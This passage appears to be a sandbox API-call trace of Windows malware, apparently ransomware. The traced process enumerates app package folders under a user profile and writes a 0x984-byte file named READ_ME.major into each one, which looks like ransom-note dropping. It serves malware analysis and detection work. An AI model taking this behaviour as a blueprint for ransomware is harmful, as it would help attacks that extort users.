out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833ad684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712f2959, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712f2959, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0190.506] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x93c [0190.509] WriteFile (in: hFile=0x93c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.510] CloseHandle (hObject=0x93c) returned 1 [0190.510] FindNextFileW (in: hFindFile=0x660ff0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70e206ba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x70e206ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x70e206ba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0190.510] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x93c [0190.511] WriteFile (in: hFile=0x93c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.511] CloseHandle (hObject=0x93c) returned 1 [0190.512] FindNextFileW (in: hFindFile=0x660ff0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8336128a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd111a2b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8336128a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0190.512] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x93c [0190.512] WriteFile (in: hFile=0x93c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.513] CloseHandle (hObject=0x93c) returned 1 [0190.513] FindNextFileW (in: hFindFile=0x660ff0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8336128a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd111a2b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8336128a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0190.513] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702a7000, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2412fb5b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660eb0 [0190.513] FindNextFileW (in: hFindFile=0x660eb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702a7000, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2412fb5b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0190.513] FindNextFileW (in: hFindFile=0x660eb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x702a7000, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702cd265, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0190.514] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940 [0190.619] WriteFile (in: hFile=0x940, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.620] CloseHandle (hObject=0x940) returned 1 [0190.620] FindNextFileW (in: hFindFile=0x660eb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7025ab41, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0190.620] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940 [0190.621] WriteFile (in: hFile=0x940, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.621] CloseHandle (hObject=0x940) returned 1 [0190.622] FindNextFileW (in: hFindFile=0x660eb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7025ab41, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.622] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940 [0190.622] WriteFile (in: hFile=0x940, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.623] CloseHandle (hObject=0x940) returned 1 [0190.623] FindNextFileW (in: hFindFile=0x660eb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7025ab41, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.623] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940 [0190.625] WriteFile (in: hFile=0x940, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.626] CloseHandle (hObject=0x940) returned 1 [0190.626] FindNextFileW (in: hFindFile=0x660eb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2412fb5b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2412fb5b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2412fb5b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0190.626] FindNextFileW (in: hFindFile=0x660eb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7025ab41, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0190.626] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940 [0190.627] WriteFile (in: hFile=0x940, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.627] CloseHandle (hObject=0x940) returned 1 [0190.628] FindNextFileW (in: hFindFile=0x660eb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x70280da4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0190.628] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940 [0190.628] WriteFile (in: hFile=0x940, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.629] CloseHandle (hObject=0x940) returned 1 [0190.629] FindNextFileW (in: hFindFile=0x660eb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7025ab41, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0190.629] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940 [0190.629] WriteFile (in: hFile=0x940, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.630] CloseHandle (hObject=0x940) returned 1 [0190.630] FindNextFileW (in: hFindFile=0x660eb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7025ab41, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0190.630] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940 [0190.631] WriteFile (in: hFile=0x940, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.632] CloseHandle (hObject=0x940) returned 1 [0190.632] FindNextFileW (in: hFindFile=0x660eb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7025ab41, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0190.632] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd6e44f49, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2412fb5b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660fb0 [0190.632] FindNextFileW (in: hFindFile=0x660fb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd6e44f49, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2412fb5b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0190.632] FindNextFileW (in: hFindFile=0x660fb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x37a7aa93, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x37a7aa93, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0190.633] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x944 [0190.634] WriteFile (in: hFile=0x944, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.635] CloseHandle (hObject=0x944) returned 1 [0190.635] FindNextFileW (in: hFindFile=0x660fb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a6b7054, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12c98f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a6b7054, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0190.635] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x944 [0190.636] WriteFile (in: hFile=0x944, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.637] CloseHandle (hObject=0x944) returned 1 [0190.637] FindNextFileW (in: hFindFile=0x660fb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a690dfe, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12ca0e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a690dfe, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.637] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x944 [0190.638] WriteFile (in: hFile=0x944, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.639] CloseHandle (hObject=0x944) returned 1 [0190.639] FindNextFileW (in: hFindFile=0x660fb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12ca805, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a66aba6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.639] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x944 [0190.640] WriteFile (in: hFile=0x944, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.641] CloseHandle (hObject=0x944) returned 1 [0190.641] FindNextFileW (in: hFindFile=0x660fb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2412fb5b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2412fb5b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2412fb5b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0190.641] FindNextFileW (in: hFindFile=0x660fb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12cb203, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a66aba6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0190.641] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x944 [0190.641] WriteFile (in: hFile=0x944, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.642] CloseHandle (hObject=0x944) returned 1 [0190.642] FindNextFileW (in: hFindFile=0x660fb0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a690dfe, ftCreationTime.dwHighDateTime=0x1d32714, 